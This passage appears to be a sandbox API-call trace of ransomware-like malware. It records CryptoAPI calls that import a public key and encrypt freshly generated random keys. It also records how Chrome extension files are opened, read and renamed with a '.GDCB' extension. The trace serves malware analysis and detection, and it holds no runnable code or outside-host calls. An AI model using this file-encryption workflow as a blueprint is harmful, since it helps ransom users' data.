(hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.557] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0272.559] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799b20) returned 1 [0272.559] CryptGetKeyParam (in: hKey=0x6799b20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.559] CryptEncrypt (in: hKey=0x6799b20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0272.559] GetLastError () returned 0x0 [0272.559] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.559] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0272.560] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0272.563] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0272.565] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xc2, lpOverlapped=0x0) returned 1 [0272.573] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0272.581] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zu\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zu\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\zu\\messages.json.gdcb")) returned 1 [0272.587] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0272.590] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.592] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.592] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0272.592] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.592] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0272.596] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.598] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.598] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0272.598] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.598] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0272.600] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67978e0) returned 1 [0272.600] CryptGetKeyParam (in: hKey=0x67978e0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0272.600] CryptEncrypt (in: hKey=0x67978e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0272.601] GetLastError () returned 0x0 [0272.601] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.601] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0272.602] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6799b60) returned 1 [0272.602] CryptGetKeyParam (in: hKey=0x6799b60, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0272.602] CryptEncrypt (in: hKey=0x6799b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0272.603] GetLastError () returned 0x0 [0272.603] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0272.603] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\computed_hashes.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0272.604] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0272.606] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0272.609] ReadFile (in: hFile=0x424, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d160*=0xaf3, lpOverlapped=0x0) returned 1 [0272.617] VirtualAlloc (lpAddress=0x0, dwSize=0xb00, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0272.622] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\computed_hashes.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\computed_hashes.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\computed_hashes.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\computed_hashes.json.gdcb")) returned 1 [0272.626] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0272.628] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.630] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.630] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0272.630] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0272.630] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0272.634] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.637] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.637] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0272.637] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.638] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0272.640] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679a6e0) returned 1 [0272.640] CryptGetKeyParam (in: hKey=0x679a6e0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0272.640] CryptEncrypt (in: hKey=0x679a6e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0272.641] GetLastError () returned 0x0 [0272.641] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0272.641] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0272.642] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679a3a0) returned 1 [0272.642] CryptGetKeyParam (in: hKey=0x679a3a0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0272.642] CryptEncrypt (in: hKey=0x679a3a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0272.643] GetLastError () returned 0x0 [0272.643] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.643] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0272.644] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0272.647] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0272.649] ReadFile (in: hFile=0x424, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d160*=0x4454, lpOverlapped=0x0) returned 1 [0272.668] VirtualAlloc (lpAddress=0x0, dwSize=0x4460, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0272.674] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\verified_contents.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\verified_contents.json.gdcb")) returned 1 [0272.679] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0272.682] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.684] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.684] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0272.684] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0272.684] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0272.687] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.689] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.689] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0272.689] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0272.689] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0272.692] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6797fa0) returned 1 [0272.692] CryptGetKeyParam (in: hKey=0x6797fa0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0272.692] CryptEncrypt (in: hKey=0x6797fa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0272.692] GetLastError () returned 0x0 [0272.692] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.692] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0272.694] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x679a120) returned 1 [0272.694] CryptGetKeyParam (in: hKey=0x679a120, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0272.694] CryptEncrypt (in: hKey=0x679a120, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0272.694] GetLastError () returned 0x0 [0272.694] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0272.694] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0272.695] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0272.698] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0272.700] ReadFile (in: hFile=0x520, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d3e8*=0x32c40, lpOverlapped=0x0) returned 1 [0272.708] VirtualAlloc (lpAddress=0x0, dwSize=0x32c40, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0272.718] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.gdcb")) returned 1 [0272.723] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0272.726] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.728] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.728] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0272.728] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.728] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0272.730] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.732] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.732] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0272.732] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.732] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0272.735] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x679a1e0) returned 1 [0272.735] CryptGetKeyParam (in: hKey=0x679a1e0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0272.735] CryptEncrypt (in: hKey=0x679a1e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0272.735] GetLastError () returned 0x0 [0272.735] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.735] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0272.737] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x679a7e0) returned 1 [0272.737] CryptGetKeyParam (in: hKey=0x679a7e0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0272.737] CryptEncrypt (in: hKey=0x679a7e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0272.737] GetLastError () returned 0x0 [0272.737] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.737] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0272.738] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0272.741] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0272.743] ReadFile (in: hFile=0x520, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d3e8*=0x3b270, lpOverlapped=0x0) returned 1 [0272.768] VirtualAlloc (lpAddress=0x0, dwSize=0x3b270, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0272.780] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js.gdcb")) returned 1 [0272.785] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0272.789] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.791] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.791] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0272.791] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.791] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0272.794] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.796] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.796] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0272.797] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0272.797] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0272.799] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679a5e0) returned 1 [0272.799] CryptGetKeyParam (in: hKey=0x679a5e0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0272.799] CryptEncrypt (in: hKey=0x679a5e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0272.799] GetLastError () returned 0x0 [0272.799] CryptReleaseContext 